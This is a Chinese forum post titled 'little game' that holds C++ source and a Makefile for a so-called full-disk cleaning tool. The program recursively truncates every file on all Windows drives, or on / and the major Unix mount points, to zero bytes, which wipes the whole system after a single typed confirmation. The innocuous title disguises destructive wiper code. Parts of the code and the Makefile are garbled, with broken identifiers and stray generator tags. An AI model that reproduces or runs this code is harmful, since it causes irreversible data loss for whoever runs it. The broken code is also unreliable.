小游戏
2025-11-02 12:00:03
发布于:江苏
#include <iostream>
#include <fstream>
#include <string>
#include <vector>
#ifdef _WIN32
#include <windows.h>
#else
#include <dirent.h>
#include <sys/stat.h>
#include <unistd.h>
#endif
class FileCleaner {
private:
int filesCleared;
int errorsOccurred;
public:
FileCleaner() : filesCleared(0), errorsOccurred(0) {}
// 清空单个文件内容
bool clearFileContent(const std::string& filePath) {
std::fstream file;
file.open(filePath, std::ios::out | std::ios::trunc);
if (file.is_open()) {
file.close();
filesCleared++;
std::cout << "已清空: " << filePath << std::endl;
return true;
} else {
errorsOccurred++;
std::cerr << "无法清空: " << filePath << std::endl;
return false;
}
}
// 递归清空文件夹内容
void clearFolderContents(const std::string& folderPath) {
#ifdef _WIN32
std::string searchPath = folderPath + "\.";
WIN32_FIND_DATAA findData;
HANDLE hFind = FindFirstFileA(searchPath.c_str(), &findData);
if (hFind == INVALID_HANDLE_VALUE) {
return;
}
do {
std::string name = findData.cFileName;
if (name == "." || name == "..") continue;
std::string fullPath = folderPath + "\\" + name;
if (findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
clearFolderContents(fullPath);
} else {
clearFileContent(fullPath);
}
} while (FindNextFileA(hFind, &findData));
FindClose(hFind);
#else
DIR* dir = opendir(folderPath.c_str());
if (!dir) return;
struct dirent* entry;
while ((entry = readdir(dir)) != nullptr) {
std::string name = entry->d_name;
if (name == "." || name == "..") continue;
std::string fullPath = folderPath + "/" + name;
struct stat statBuf;
if (stat(fullPath.c_str(), &statBuf) == 0) {
if (S_ISDIR(statBuf.st_mode)) {
clearFolderContents(fullPath);
} else {
clearFileContent(fullPath);
}
}
}
closedir(dir);
#endif
}
// 清空所有驱动器
void clearAllDrives() {
std::cout << "开始清理所有驱动器文件内容..." << std::endl;
#ifdef _WIN32
// Windows: 清理所有逻辑驱动器
DWORD drives = GetLogicalDrives();
for (char drive = 'A'; drive <= 'Z'; drive++) {
if (drives & (1 << (drive - 'A'))) {
stdstring drivePath = stdstring(1, drive) + ":\";
stdcout << "清理驱动器: " << drivePath << stdendl;
clearFolderContents(drivePath);
}
}
#else
// Linux/Unix: 清理根目录和主要挂载点
clearFolderContents("/");
// 清理其他常见挂载点
std::vector<std::string> mountPoints = {"/home", "/var", "/opt", "/usr", "/tmp"};
for (const auto& mount : mountPoints) {
clearFolderContents(mount);
}
#endif
}
void showStatistics() {
std::cout << "\n=== 清理统计 ===" << std::endl;
std::cout << "成功清空文件数: " << filesCleared << std::endl;
std::cout << "操作失败数: " << errorsOccurred << std::endl;
}
};
int main() {
stdcout << "=== 全盘文件清理工具 ===" << stdendl;
stdcout << "警告: 此操作将永久清空所有驱动器上的文件内容!" << stdendl;
stdcout << "此操作不可恢复!" << stdendl;
// 最终确认
std::cout << "确定要继续吗?(输入 'CONFIRM' 继续): ";
std::string confirmation;
std::cin >> confirmation;
if (confirmation != "CONFIRM") {
std::cout << "操作已取消。" << std::endl;
return 0;
}
FileCleaner cleaner;
cleaner.clearAllDrives();
cleaner.showStatistics();
std::cout << "清理操作完成!" << std::endl;
return 0;
}
<code_end>
<code_start project_name=cpp_文件清理工具 filename=Makefile title=项目编译配置 entrypoint=false runnable=false project_final_file=true>
CXX = g++
CXXFLAGS = -std=c++14 -O2 -Wall
TARGET = file_cleaner
SOURCE = file_cleaner.cpp
检测操作系统
ifeq ($(OS),Windows_NT)
PLATFORM = windows
TARGET := $(TARGET).exe
else
UNAME_S := (UNAME_S),Linux)
PLATFORM = linux
else ifeq ($(UNAME_S),Darwin)
PLATFORM = macos
else
PLATFORM = unix
endif
endif
all: $(TARGET)
$(TARGET): $(SOURCE)
$(CXX) $(CXXFLAGS) -o $(TARGET) $(SOURCE)
clean:
rm -f $(TARGET)
run: (TARGET)
.PHONY: all clean run
<code_end>
全部评论 1
我是慕温,走遍ACGO所有灌水贴(不喜可删)
14小时前 来自 浙江
0












有帮助,赞一个